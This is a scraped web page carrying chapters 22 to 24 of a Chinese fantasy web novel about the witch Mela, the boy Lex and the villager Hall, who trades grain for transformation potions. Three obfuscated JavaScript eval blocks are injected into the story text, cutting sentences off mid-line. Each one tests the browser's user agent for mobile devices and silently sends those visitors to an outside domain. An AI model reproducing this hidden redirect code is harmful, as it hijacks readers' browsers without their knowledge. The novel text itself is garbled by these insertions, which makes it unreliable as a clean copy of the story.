;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15742902|172386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 酸涩的野樱桃,也能变得甜蜜,符合梅拉的口味。 于是莱克斯背了整整一筐野樱桃回来,那几棵野樱桃树的树枝上现在变得空荡荡的,一颗不剩全让莱克斯给摘走了。 梅拉不知道这野樱桃尝起来是酸涩的,光看外表,虽然它们的个头小了点,但红艳艳的看起来格外好吃的样子。 因此梅拉从莱克斯背着的筐里抓了一大把野樱桃,想了想,她又去把自己的篮子拿来,将这些樱桃装了进去,方便黑狼待会儿叼着走。 “这些樱桃你就带回去吃吧。”梅拉笑吟吟地道。 虽然黑狼给她送猎物来是为了报恩,但她也不能一点表示都没有,正好,狼应该吃果子吧?想到这,梅拉十分大方的给黑狼塞了满满一篮子樱桃。 莱克斯本来可以提醒梅拉,这些野樱桃的口感其实不太好,给狼吃大概会酸得一张狼脸都皱起来。 但他想到之前梅拉提起过,加上这一次,她已经是第二次帮这头黑狼了。 彼时梅拉刚到黑暗森林不久,还在四处查看这里有哪些有用的草药,却意外撞见了刚离开狼群,独自狩猎,结果因为经验不足,导致不小心让盯上的猎物伤到自己腹部的黑狼。 当时黑狼奄奄一息地躺在地上,腹部被顶开了一道大口子,正源源不断地往外流血。即使如此,见到梅拉想要靠近自己,它还是使劲呲出獠牙,试图吓走这个胆大包天的人类。 然而梅拉根本不怕它,直接走过去,蹲下来拍拍黑狼的头,像平时教育不听话的塞拉斯一样,“不准凶,给我乖乖的。” 黑狼哪里受过这种侮辱,顿时气得恨不得爬起来,给梅拉来上一口。 可惜它现在已是强弩之末,别说站起来了,突然爆发的怒火也只让它蹬了几下腿,根本立不住。 “哎呀,你怎么这么不听话?看看你这一动,伤口流出来的血都变得更多了。”梅拉又拍了黑狼一下。 但她也没有再耽搁,掏出随身携带的治愈药剂,拔开木塞,往黑狼嘴里倒了几滴。 几乎是眨眼的功夫,黑狼的伤口便不再往外流血,等再过了一会儿,伤口竟然隐隐开始有要愈合的趋势。 “很快你的伤就能好了。”梅拉笑眯眯地逆着摸了摸黑狼背上的毛,又飞快地揉乱,总之把黑狼身上搞得乱糟糟的。 也就是黑狼这会儿还没力气,没法躲开她的魔爪,只能眼睁睁地看着梅拉揉开心后,哼着歌就这么走了。 后来,梅拉没再遇见过黑狼,但总有一道视线会在她离开小木屋,深入黑暗森林的腹地之后紧紧地跟着她。 梅拉知道,是那头被她救了的黑狼在暗中保护她。 而听了这番话的莱克斯忽然想起来几年前,他与梅拉救下巴奇时,那道令他感到不适的视线,当时他只以为自己是被不知名的野兽给盯上了,还在暗中防备,防止被扑个正着。 结果一路回到小木屋,都没有出现意外。 原来盯着他的就是黑狼。莱克斯若有所思地想到,并且顺带想起来自己后来外出狩猎,曾有过猎物不见了的情况。 应该也是这头黑狼干的吧。 说不定是它觉得盯了莱克斯这么久,正好饿了,就顺带把莱克斯的猎物给叼走了。 于是莱克斯眼睁睁地看着黑狼叼着篮子的身影消失在了树林之间,一句多余的话也没和梅拉说。 却在梅拉试图拿一颗樱桃塞入嘴里尝尝味时,伸手拦住了她,“除了丁香樱桃糊,我忽然觉得做羊肉樱桃羹也很不错,可惜这些樱桃的数量太少了,也不知道够不够用。” “那我下次再让杜克瓦托多带点樱桃过来吧。”梅拉恋恋不舍地把手里的野樱桃放回筐里,同时忍不住期待莱克斯说的丁香樱桃糊和羊肉樱桃羹到底有多好吃。 唉,一想到等莱克斯离开之后,又要回到让塞拉斯掌勺的日子,梅拉就恨不得天天换着法让莱克斯多做几道菜。 ——不然她还是重新捡起如何让塞拉斯变成人的研究吧。 22. 第 22 章 又到了每月一度,霍尔往黑暗森林送粮食的日子。 这些年,他堪称风雨无阻地按照约定前来,从来没有拖延过一回。 莱克斯还记得有一年初雪提前降临,呼啸的冷风裹着大朵大朵的雪花往下落,才过了两天,地上的积雪就堆了厚厚的一层。 明天就是霍尔来送粮食的日子,莱克斯望着小木屋前的空地上,厚度足足淹过了半截小腿的积雪,心中不免有些担忧,霍尔是否还能带着粮食准时前来。 毕竟这么厚的积雪,人走在上头都行动不便,更别提还要推一辆载满了粮食的木板车了。 “放心吧。” 反倒是梅拉跟个没事人一样,端着茶杯走过来,站在莱克斯身旁,淡定地呷了一口茶水,“霍尔一定会来的,他还得找我拿下个月要用到的变形药剂呢。” 真的吗? 莱克斯抱着半信半疑的态度,来到第一次见到霍尔的那棵树下,远远地就瞧见了一个黑色的圆点在主动朝着这个方向靠近。 等他再走近一些,顿时露出了霍尔那张眼熟的脸。 看来梅拉说得没错,这三瓶变形药剂对霍尔来说确实很重要,莱克斯心道。 而瞧见已经站在树下的莱克斯,霍尔脚下立刻加快了前进的速度,为了推动这满满一车的粮食,他额上的青筋都崩出了好几根。 莱克斯倒也没有站在原地干等着,他快步上前,帮了霍尔一把,两人合力将木板车推到了树下。 “呼,呼。”总算能停下来歇一会儿了,霍尔大口喘着气,明显是累坏了。 难怪霍尔会这么累。 莱克斯握了握拳头,掂量了一下刚才推车时感受到的重量,觉得若是换成自己,大概也不会比霍尔好到哪去。 又想到霍尔一路从村子到这里,全靠自己一个人推着木板车,地上还有如此厚的积雪,说不定天还没亮就起来赶路了。 当然,对霍尔来说,这一切的辛苦在见到莱克斯掏出来的三瓶变形药剂后,立刻化为了乌有。 霍尔忙不迭地从莱克斯手中把药剂接过来,宝贝地塞入怀里,还刻意给它们挪了挪位置,防止自己走动时不小心让三个玻璃瓶撞到一起,出现了裂痕。 见霍尔如此宝贝这几瓶变形药剂,正常人难免会感到好奇,莱克斯也不例外。 变形药剂,顾名思义就是喝了能改变外表的一种药水,可莱克斯看着霍尔长的这一张,和他的名字一样平平无奇的脸,总觉得这不应该是他喝了变形药剂后捏造出来的面孔。 尤其霍尔既不是出了名的神偷,也不是需要改头换面以此躲避追捕的逃犯,他就是土生土长在附近某个村子里的村民,因此霍尔每个月都大费周章地找梅拉换取变形药剂的这一行为,在莱克斯这里就透着十足十的古怪。 “怎么了?我的脸上沾了什么脏东西吗?” 注意到莱克斯的视线一直停留在自己的脸上,霍尔下意识的往自己身上找原因。 “没有,是我刚刚不小心走神了。”莱克斯面不改色地找了个借口,随意地搪塞了过去。 他知道霍尔会相信的。 果然,霍尔点了点头,压根没提出任何疑问。 哪怕他刚才明明感觉到莱克斯的视线是凝聚而不是分散的,根本不像是他说的走神,但既然莱克斯这么说了,霍尔觉得莱克斯自然有他的理由。 霍尔的性格就如他的外表一样憨厚老实,是让人看了就认为值得信任的那类人。 也正因为霍尔是个老好人,当初在深夜的小路上遇到梅拉时,便没有怀疑她的身份,还觉得她一个年轻的姑娘独自在外容易遇到危险,主动提出要用自己的木板车送她一程。 即使后来得知她想去的地方是危机四伏的黑暗森林,霍尔还是咬牙答应了下来。 * 这回因为既没有突如其来的暴雨,也没有大雪的阻挠,霍尔来得比莱克斯还要早。 他站在树下,身旁就是满满一车粮食,见到莱克斯出现,还笑着和他打了声招呼。 “一个月不见,你好像又长高了啊。” 霍尔还记得上个月与莱克斯见面时,他只比自己高了半个额头,现在一看,莱克斯都已经比他高了大半个脑袋了。 简直比施了肥之后的小麦还要长得飞快。 “嗯。”莱克斯听了霍尔这话,想到梅拉也是这么说的。 因为天天都能见到对方,梅拉起初对莱克斯长高这件事并没有太大的感觉,毕竟莱克斯的身高也不是蹭的一下忽然拔高的。 随着梅拉一点点抬头,到最后不得不仰着脖子和莱克斯说话时,她才惊觉莱克斯竟然都长得这么高了。 眼瞅着都快赶上杜克瓦托了。 “我也没给你喝的水里偷偷倒生长药剂啊,怎么就能长得这么高。”梅拉低下头,用自以为只有一个人听见的音量嘀咕道。 在梅拉过去那些年见到的成年男子中,像杜克瓦托这样高大的身材才是罕见的存在,大部分也就比梅拉高半个脑袋——又因为梅拉是女人中难得一见的高挑身材,比她矮的男人她也见过不少。 梅拉曾经还拿这个当借口,拒绝了不少比她矮的追求者,不过话又说回来,哪个女人会喜欢比自己矮的丈夫呢? 至少梅拉决不能接受。 其实把梅拉的嘀咕听得一清二楚的莱克斯:“……” 原来梅拉曾经还想过偷偷往他喝的水里倒奇奇怪怪的药水吗? 他还以为梅拉不会做这么幼稚的事情。 现在看来是他高估梅拉的恶劣了。 在捉弄人这方面,梅拉可以说有着无穷的兴趣。 “对了,梅拉说,从下个月开始,变形药剂的价格她要往上翻一倍。”把这个月的三瓶变形药剂递出去的同时,莱克斯向霍尔转述了梅拉的话。 事实上,梅拉有涨价的念头已经很久了,自从通过杜克瓦托得知外头的物价飞涨,如今一枚金币能换一百枚银币,一枚银币能换四百八十枚铜币后,梅拉就再也按捺不住了。 “涨价!必须涨价!”梅拉单手支着腰,分外理直气壮。 虽然炼制变形药剂的原材料都是梅拉从黑暗森林各处薅来的,几乎没有投入多少资金,可以说是一门一本万利的生意。 但是如今物价飞涨,再按老价格把东西卖给霍尔,梅拉便有种自己吃亏了的感觉。 “我可以不主动占别人的便宜,但别人绝不能占我的便宜。” 这么多年过去了,梅拉还是这副吝啬的样子。 不知道为什么,莱克斯却有种安心的感觉,就好像不管外面的世界如何变化,梅拉总不会变。 不过,当莱克斯把这个不幸的消息告诉霍尔后,霍尔果然如莱克斯猜测的那样皱起眉头,陷入了短暂的沉默之中。 毕竟一瓶变形药剂的价格可不便宜,三瓶变形药剂加起来,都能买他这满满一车的粮食了。现在梅拉还要涨价,那他下回起码得拉两车的粮食来才行。 就算是手握一大片肥沃的土地,每年产出来的粮食都能把仓库堆满的霍尔,也不免感到一阵肉疼。 莱克斯本以为霍尔会试图和他讲价,或是请他向梅拉求情,然而霍尔的举动却出乎他的意料。 只见霍尔松开了紧皱的眉头,颇为赞同地点了点头,“梅拉小姐说得没错,她已经以这个价格卖了我这么多瓶变形药剂,是我占了她的便宜。” 不仅如此,霍尔还露出了十分懊恼的表情。 梅拉住在黑暗森林里深居简出,不知道外头的物价很正常,可他霍尔却是一直住在村子里,常年和粮食商人打交道,但他竟然没有早早地想到这一点,还占了梅拉这么久的便宜。 这真是太不应该了。 莱克斯的第一反应还以为是自己听错了,否则怎么会有人像霍尔这样,竟然替要赚自己钱的人如此设身处地地着想。 但他转念一想,这么做的人是霍尔,又觉得不愧是霍尔会做出的反应。 “说起来,最近王国里出了什么事吗?”莱克斯状似不经意地向霍尔打探到。 自从听到杜克瓦托说王国的物价飞涨时,莱克斯就察觉到了不对劲。 明明自从斐南基成为宰相之后,一直有在刻意地稳定金银铜三种钱币的兑换比例,避免其出现太大的波动。 金币的价格偶尔涨一涨是好事,这意味着同样一枚金币,能换到的东西更多了,但如果金币的价格一直飞涨,可就是坏事了。 或许对于底蕴丰厚的贵族们来说,短期内还能咬咬牙坚持住贵族的体面,但对于一年下来也未必能攒下几枚金币的平民们来说,这就是濒临破产的前兆。 平民们一旦破产,就会免费沦为当地贵族们的奴隶,在贵族眼里简直是件再好不过的事,他们不花一枚铜币就收获了许多能干活的劳力。 然而身为宰相,斐南基决不能允许这种事的发生。 平民的数量一旦减少,每年上交给国王的税金也会跟着骤降。 毕竟奴隶是不准拥有属于自己的财产的,他们的一切,包括身体都是属于贵族的私有物。 而贵族,他们肩负着为国王守卫一方领土的责任,是不需要向国王陛下缴纳税金的。 若是没了大把大把流入王宫宝库的金币,国王怎么养得起他的军队?那些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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与此同时,又因为粮食变贵了,其它东西的价格也跟着水涨船高。 本来供养一大家子人就吃力,现在更是有不少平民直接因此而破产,不得不去到领主或者其他贵族的庄园上,成为他们的奴隶,为他们卖力地干活。 像霍尔认识的一个别的村子的人,曾经捏着比他还多的土地,养了七八个孩子,结果也不知道怎么回事,突然就没钱了,不仅土地全被收回了领主的手里,还倒欠领主一大笔债务。 只不过因为他一家子都成为了领主手下的奴隶,这笔债务也就不需要还了,谁让奴隶没法拥有属于自己的财产呢?债务也是财产的一种。 听到这个消息的霍尔当时吓得心脏都多跳了几下,最近过得越来越谨慎,生怕一不小心也和这人落到了同一个下场。 霍尔可不舍得他柔弱的妻子和他一起去当奴隶。 更何况,沦为奴隶之后,再想成为平民,那可比登天还难。 除非领主开恩,或是这名奴隶为王国创造了巨大的贡献,否则他辈子,包括他的孩子们,以及孩子的孩子,都只能继续当卑贱的奴隶。 后来霍尔在嘟囔些什么莱克斯已经忘了,或者说他根本没有多余的心情再关注这些,他满脑子里只剩下那一句“一年前国王陛下换了一个新的宰相”在盘旋。 斐南基被换了? 为什么? 哪怕是他还在王宫里,斐南基顶着努伦格尔九世的怒火为他求情了那么多次,努伦格尔九世再是恨斐南基恨得牙痒痒,也不曾找另一个愿意听话的贵族来顶替斐南基的宰相位置。 毕竟听话的贵族有很多,但像斐南基一样有真材实料,能替他打理好一个王国的贵族却少得可怜,不如说翻遍整个王国,努伦格尔九世都不可能再找到第二个斐南基了。 “那个新换上来的宰相叫什么名字?”莱克斯听到自己冷静地问。 “安东尼奥·裘德。”霍尔努力地想了想,从记忆的角落里翻出了这位大人物的名字。 虽然是一人之下万人之上的宰相,但这种大人物对霍尔来说,是他这辈子都碰不上的人,他的名字还不如邻居家的牛值得在意。 原来是裘德家族的人。 莱克斯的眼底燃着暗火,心底却有种果然如此的感觉。 因为那位把努伦格尔九世迷得颠三倒四,前王后的葬礼刚举办了没多久,就迫不及待将人娶进来的继王后的名字,正是伊莉雅·裘德。 23. 第 23 章 在莱克斯去见霍尔的时候,梅拉正在小木屋里翻看他前些日子新抄好的笔记。 这其中有梅拉花大价钱,拜托杜克瓦托从不为人知的渠道买来的某位女巫遗落在外的手札,也有正常途径下,通过商人从某位医士后代手中买到的家族世代相传的笔记。 和女巫们向来喜欢记录自己天马行空的想法相比,医士们的笔记就要严谨多了,上头往往记载了某种草药的名字,药效,产地,以及相应的药方。字迹的一旁还附有插图,方便后代在学习时进行记忆和辨认。 只不过随着时间的流逝,曾经鲜艳的笔触已经褪色,斩钉截铁的线条也变得模糊不清。 本来梅拉只打算让莱克斯誊抄字迹的部分,没想到就连插图,莱克斯都一丝不苟地复原了出来。 不仅如此,莱克斯画得可比原来简陋的插图好多了,哪怕是花瓣上深深浅浅的纹路都清晰可见。 梅拉觉得,任何一个看过莱克斯所画插图的人,即使没有见过实物,也不可能会辨认错长相相似的两种药草。 撇开栩栩如生的插画,莱克斯的字迹俨然值得额外的收藏,华丽的弧度和流畅的笔锋,让人光是阅读都觉得仿佛是一种享受。 与莱克斯一看就接受过良好贵族教育的字迹相比,梅拉的字就显得颇具个人特色,潦草中又带着一股自由的风气。 面对莱克斯欲言又止的眼神,梅拉仍然是一贯的理直气壮,“我又不在乎字写得不好看会被手底下的贵族们嘲笑,反正我本来就是平民出身,没受过专门的书写训练不是很正常的事吗?” 别说接受专门的书写训练了,就是最基础的识字这一方面,绝大多数平民受到的教育也和莱克斯不同。 如果说莱克斯泡在浩瀚的藏书之中,接受了最全面的识字教育,那梅拉的识字就是从认识草药的名字开始,她能写出最生僻的草药名,却不一定能成功拼写出“塔夫绸”这个单词。 除了贵族和有钱的商人之外,谁会舍得花大价钱买这么贵的布料做一身衣服? 梅拉从小到大都穿着麻布织成的衣裙,唯独睡裙是威普多特意给她买的棉质的,所以她到现在也只会拼写麻和棉这两个单词。 只不过因为相处的时间尚短,梅拉表现出来的样子还是很能唬人的。 直到有一天,梅拉忽然指着书上的一个单词,问莱克斯这是什么意思,莱克斯才终于发现,原来跳出梅拉熟悉的领域后,那些又臭又长的文字对她来说全然是陌生的存在。 “这个单词的意思是古典主义,你之前难道从没发现它和这本书写在封面上的第一个单词一模一样吗?”莱克斯的面色有些复杂。 如果说梅拉不认识这个单词的话,那她到底是怎么做到捧着这本书津津有味地看了快一个月的? “啊,真的一模一样呢!”在莱克斯的指点下,梅拉把书合上,特意去看了封面的第一个单词,结果还真是。 “原来这本书的名字叫《古典主义时期的爱情》*,我一直就把它叫做《爱情》,反正就是一男一女互相喜欢又不得不分开,最后一个孤独终老一个英年早逝的故事嘛。” 梅拉一点也没有为自己在莱克斯面前暴露出了知识上的短板而感到自卑,这么复杂的单词,她不认识是多么正常的一件事啊。 虽然梅拉说的没错,故事就是这么一个故事,主题也与爱情有关,但莱克斯就是有点难以接受梅拉在他眼里突然变成了半个文盲这一事实。 就好像一条做工精致的宝石项链,忽然发现上头有了一道并不完美的裂痕一样。 “莱克斯,你看起来好像很失望的样子。” 梅拉的双手搭在墨绿色的书封上,她则兀自微笑着凝望着莱克斯,仿佛一幅笔触艳丽,值得挂在走廊受到身份尊贵的客人们长久欣赏的肖像画。 “可是我不是早就告诉过你了吗?我只是一个医士的女儿,是你们贵族看不起,觉得没有礼仪与教养,连自己的名字都无法正确拼写,绝不愿意通婚的平民。”梅拉悠悠地道。 是的,她并不是什么名贵的肖像画,而是长在山野间的一朵漂亮的花。 虽然与众不同的美貌使得路过她的人们,即使是那些向来眼高于顶的贵族,都愿意驻足在她身边,流连这抹世间罕有的美丽,但她生来就不是长在昂贵的花瓶里,或是受到重重封锁的王宫花园中,需要精心呵护的花朵。 “能看懂,还能写出这么多的字,对像我这样的平民来说已经算得上很了不起了。” “即使是像这样一本在你看来毫无营养的爱情小说,”梅拉的指尖轻轻地划过粗糙的书封,一抹嫣红在珍珠白的甲床下流动,她冲莱克斯露出一个轻巧的笑容,“整个白松镇,也没有多少人能看明白上头书写的内容。” 说这话时,梅拉无疑是骄傲的,毕竟就像她说的那样,翻遍整个白松镇,能看明白这么厚厚一本爱情小说的人也找不出几个。 而梅拉之所以能看懂这本书,还是她后来学习了更多单词的缘故。否则以她过往从医士笔记和女巫手札中学到的知识,和爱情小说完全是八竿子打不着的内容。 换做另一个人,也未必有梅拉这样旺盛的好奇心,愿意学习别的东西。 说白了,人是很容易被自己的眼界限制住的,当他是一个杀猪匠时,他每天想的只有怎么更好地把一头猪开膛破肚;当他是一个税务官时,他满脑子都是今年能收上来多少税金;当他是一个牧师时,他的眼里心里都只有教会分发下来的经义。 所以梅拉不认识与草药、星象、预言等知识相关的古典主义这个单词,不是理所应当的吗? 可是话又说回来,如果不是因为梅拉的祖父早早地去世了,威普多愿意将梅拉作为自己唯一的继承人从小培养,她不可能懂得这些草药与治病救人的知识。 如果梅拉不是意外在山上遇上了那个神秘的女人,又用自己的聪慧得到了她的认可,她也不可能懂得星星运行背后的意义,不可能读懂水晶球里烟雾幻化出来的景象所饱含的深意。 现在莱克斯竟然要因为梅拉不懂得一个在他眼里看起来非常简单的单词而对她失望,梅拉微微眯起眼,毫不客气地质问回去,“你凭什么对我感到失望?” “就因为你懂得我不懂的东西?那你会拼写耀星环百合吗?知道把魔球草埋在积雪下一个月后就能获得自然变色的雪色魔球草吗?” 莱克斯让梅拉问得哑口无言。 “你瞧,你也不是完美的,可在我眼里,你能打扫干净这座小木屋,能及时找出我想要的小东西,还能帮我照顾好种在花盆里的植物们,就已经是令我感到满意的莱克斯了。” 莱克斯的嘴唇动了动,似乎想说点什么,可在看到梅拉的眼睛时,又止住了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15753814|172386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>那曾经在他看来像幽深的潭水一样可怖的绿色,如今简直闪着剔透的智慧的光。 “好了,作为让我生气的报复,你,来给我把这本书剩下的内容读完。”梅拉屈起食指,叩了叩书本,示意莱克斯现在就过来拿起这本书,完成她下达的命令。 莱克斯乖乖地走了过来。 他现在已经十五岁了,身量早就和十二岁时男孩的模样不可同日而语,挺拔得像一棵茁壮成长的雪松,连原本青涩的线条都被拉长,形成分明的棱角,眉目间隐隐具备了一股令人不敢质疑的气势。 导致曾经还敢光明正大地欺负他的塞拉斯,渐渐只敢在口头上占他的便宜,还必须站在窗台这样随时能展翅飞走的地方,防止莱克斯把它抓到手心里欺负回来。 而就是这样一个气质卓尔不凡,相貌英俊,活像是从故事中走出来的少年,正捧着一本爱情小说,读得磕磕绊绊。 “……科里森哀伤地看着他的爱人,不敢置信她那对柔软的唇瓣怎么能吐出如此冰冷残酷的语句……” 瞥见莱克斯耳垂上的薄红,梅拉得意地挑眉,看,她成功地报复到了莱克斯,让他读这些令他感到羞耻的文字,以至于额头都冒起了一层细汗。 而原本令梅拉觉得有些乏味的故事走向,此刻突然显现出了另一种值得拍手称赞的趣味。 * 莱克斯带着满满一车粮食,以及霍尔的答复回来了。 听莱克斯说霍尔同意了她要涨价,梅拉漫不经心地点了点头,一点也没感觉到意外。 比起这个,她更关心霍尔这次送来了哪些粮食。 “西红柿、豆子、球茎……”梅拉托着下巴,望着敞开的麻袋中,颜色形状各异的食材,“我决定了,明天想吃烘豆饼!” 梅拉所说的这个烘豆饼,做法并不难,其实就是普通的豆饼,再在制作的时候加上牛乳、白砂糖、黄油、肉桂这类昂贵的材料,最后烘烤出难以抗拒的香气。 “塞拉斯也要吃!”塞拉斯积极地附和道,回忆起曾经吃过的美味的烘豆饼,它差点连口水都要从嘴角流出来了。 “好,那我明天就做烘豆饼当晚餐。”莱克斯点头。 不过他很快又问道,“那今晚的晚餐吃香煎水果丸子怎么样?” 正好他看到霍尔送来了半袋子葡萄干,还有别的一些当季的水果。 梅拉和塞拉斯没有异议,一致同意了莱克斯的这一提议。 香煎水果丸子混合了太多水果的香气与清甜,又被油一煎,煎出了无与伦比的留香,以至于哪怕陷入了深沉的睡梦中,都好像涂抹上了一层甘美的水果的汁液。 只不过梅拉的这个美梦被突然响起的敲门声给打断了,她迷迷糊糊地睁开眼,还没彻底醒过神,就下意识地指使莱克斯,“莱克斯,快去开门,看看是谁大晚上的来找我。” 莱克斯早在听到第一声敲门声时就有了醒来的迹象,如今听到梅拉的声音,眼中更是褪去了最后一点迷蒙,他走到门后,谨慎起见,只拉开了一条缝,方便看清外头站着的人影。 “谁?” “是我!”门外的人急切地道。 “霍尔?你不是回家了吗?怎么突然返回来了?不对,你是怎么找到小木屋的?” 梅拉听到门外响起的声音,立刻掀开身上的毯子站了起来,眼中布满了浓浓的疑问。 24. 第 24 章 霍尔后来无数次回想起初次遇见梅拉的那一夜,都无比庆幸,自己最终还是选择了答应送她一程。 虽然寂静的深夜里,除了霍尔与他的驴之外空无一人的道路上,一名少女突然从路边的草丛中扑出来,怎么看都显得有些怪异,换做其他人,估计会马不停蹄地驱赶驴子快点离开,生怕招惹上什么麻烦。 但谁让梅拉如此幸运,碰到的竟然是霍尔呢。 霍尔的名字在附近的几个村子里,和老好人的招牌无异,无论是谁拿着鸡零狗碎的事情找他帮忙,霍尔都不会觉得不耐烦,还会热心地帮人把事情给解决了。 因此霍尔虽然觉得梅拉的来历大概有些古怪,却实在狠不下心来放着她不管。 毕竟梅拉的样子看起来正是非常需要人帮助的时候。 只见那头火红的长发凌乱地披在她的身后,麻布织成的黑色罩裙到处让带刺的枝叶划拉出细碎的口子,连鞋子都沾满了软烂的泥巴。 霍尔很确定今天附近数十公里内的区域压根没有下雨,也就是说,梅拉起码是从离这数十公里外的地方一路走过来的。 ……也有可能是逃,否则也不至于把自己搞得这样狼狈。 忽然,梅拉的怀里好像有什么活物动了一下,吓了霍尔一跳。 呃,霍尔揉了揉眼睛,确认不是自己眼花了后,又仔细地往梅拉怀里瞧了好几眼,才终于辨认出来那团黑压压的东西原来是只乌鸦。 也不知道是什么原因,让它在梅拉怀里蜷缩了起来,再加上身上黑漆漆的羽毛快和黑暗融为一体了,这才让霍尔一开始忽略了它的存在。 “这是你在路上捡的吗?”霍尔忍不住指了指那只乌鸦。 “不,它是我的宠物。”梅拉摇头,没有选择对霍尔撒谎。 除了因为霍尔身上散发着浓烈的好人气息,让梅拉觉得就算说真话也没关系之外,其中也不乏存了一点试探的心思,她想看看霍尔的反应。 梅拉也没想到自己一路挑了最偏僻的小道逃走,好不容易甩脱了身后的追兵,打算趁着深夜绕到大路上,让格奥鲁多主教和菲斯特子爵派出来的那些人继续在森林里像无头苍蝇一样兜圈子时,竟然猝不及防遇见了驾着驴车归家的霍尔。 如果不是霍尔先一步出声,“抱歉抱歉,没有吓到你吧?” 梅拉大概会第一时间对他下一个昏睡咒。 以防万一,在彻底去到黑暗森林之前,梅拉并不想泄露自己的踪迹。 “没关系,是我不小心吓到你的驴了吧?”梅拉边说边不着痕迹地打量了霍尔好几眼。 光从长相来说,眼前这个男人找不出什么令人过目不忘的特点,棕发、褐眼,过于宽大的颌角和浓密的眉毛,梅拉见过的男人里十个有六个都长这个模样。 再看他身上穿的衣服,大概率是附近的村民没跑了。 “没事,没事,我的多尼克不是这样胆小的性格。”霍尔伸手摸了摸驴的脖子,像是安抚。 这头名叫多尼克的驴也十分给面子,轻轻地喷出温热的鼻息,水润的眼珠子静静地看着梅拉。 全然没有刚刚看到梅拉突然窜出来,惊慌失措的样子。 真是一头好驴。梅拉在心中夸道。 “不过,你刚刚说你怀里的这只乌鸦是你的宠物,”霍尔挠了挠头,“会养乌鸦当宠物的人可不常见啊。” 起初人们不喜欢乌鸦,是因为它们喜欢吃腐肉。 后来却是因为在与女巫有关的传言中,身边总是飞着一只乌鸦。 它们会在主人折磨普通人的时候发出捧场的笑声,有时还会充当女巫的帮凶,啃食她们捉来的人,让那人发出痛苦的嚎叫用以取乐自己的主人。 渐渐的,乌鸦在人们的眼里也就成为了不幸与厄运的象征。 不过么,霍尔内心里对这些传闻并不太相信。 都说女巫会把她见到的普通人统统抓起来折磨,从没有谁能逃出她们的手掌心。如果这是真的,那这些传言到底是通过什么办法传出来的呢? 倘若传出这些流言的那个人见了女巫还能活下来,岂不正说明了女巫并不像传闻中描述的那样残忍暴虐吗? 也因此,哪怕听到梅拉亲口说了怀里的乌鸦是她的宠物,霍尔也没有往她是女巫的方向进行糟糕的揣测。 不仅如此,霍尔甚至主动提出可以捎她一程:“年轻的小姐,这么晚了,一个人赶路不方便,你不如搭我的车一起走吧。” “你是说,你愿意带我一起赶路?”霍尔的反应比梅拉原本设想的还要意外。 她都做好了霍尔露出防备的准备。 “当然,这大晚上的,怎么能放任你一个年轻的姑娘自己走呢?这也太危险了。”霍尔道。 梅拉能看得出来,霍尔说的话都是真心的。 她也确实想借他的车坐一坐。 要知道从白松镇一路逃跑到现在,如果不是梅拉从小习惯了在山上爬上爬下,拥有异于常人的体力,估计还没跑出多远就得活生生累晕了。 其实要是塞拉斯的翅膀没有受伤,梅拉倒是可以让它带着自己直接飞往黑暗森林。 偏偏那个可耻的告密者为了提防塞拉斯这个宠物给梅拉报信,提前捉住了它,还把它关了起来。 塞拉斯废了老大劲,用嘴把笼子的栏杆咬弯,又不顾缝隙不够宽,硬生生挤了出来,把翅膀都折伤了,最后总算逃到山上找到了梅拉,告诉她千万别回去了,格奥鲁多主教和菲斯特子爵派了数百名骑士来捉拿她这个藏在白松镇的女巫。 梅拉听了,顾不得别的,趁他们还留在镇上打算等她回去来个瓮中捉鳖时,抱着受伤的塞拉斯一路逃亡。 也多亏了塞拉斯为梅拉争取来的宝贵时间,否则她能不能这么顺利甩掉那些追兵,还不一定。 “谢谢。”想到那些不知道有没有放弃的追兵,梅拉不再多作犹豫,一只手依旧抱着塞拉斯,另一只手则撑在木板车的边沿,一跳,整个人便坐上了木板车的后方。 她的双腿则悬在了半空中,随着木板车的前进而微微摇晃。 “哈哈,不用谢。”霍尔笑了两声,驱使多尼克按着原定的方向拖着木板车往前走去。 “虽然不知道你打算去哪,但现在时间这么晚了,不如先来我家休息一个晚上吧。”霍尔向梅拉发出了邀请。 等到明天天亮了,他再送梅拉去她想去的地方也不迟。 不过,霍尔考虑到自己的情况,觉得还是得提前和梅拉说明一下,“就是吧,我家里目前只有我一个人。但你放心,我父母以前住的房间是空着的,也收拾得很干净,等你住进去了可以把房门也一起锁上。” 这样梅拉就不用担心住到他一个陌生男人家里不安全了。 “不用了。”谁知梅拉却拒绝了霍尔的好意。 她也是为了霍尔着想。 假设那些追兵没有放弃对她的追捕,那他们极有可能顺着踪迹一路找到霍尔的村子,甚至直接找到霍尔的家,梅拉想,她还是不要给霍尔找麻烦了。 好人总该有好报吧? “那你打算去哪?”霍尔犹豫了一会儿,觉得不然今晚他就好人做到底,干脆把梅拉送到她想去的地方再回家好了。 反正家里的鸡鸭鹅都留有足够的食物,应该不至于他晚回去一天就被饿死了。 “如果我说,我想去黑暗森林呢?”梅拉的声音悠悠地从霍尔的身后飘来。 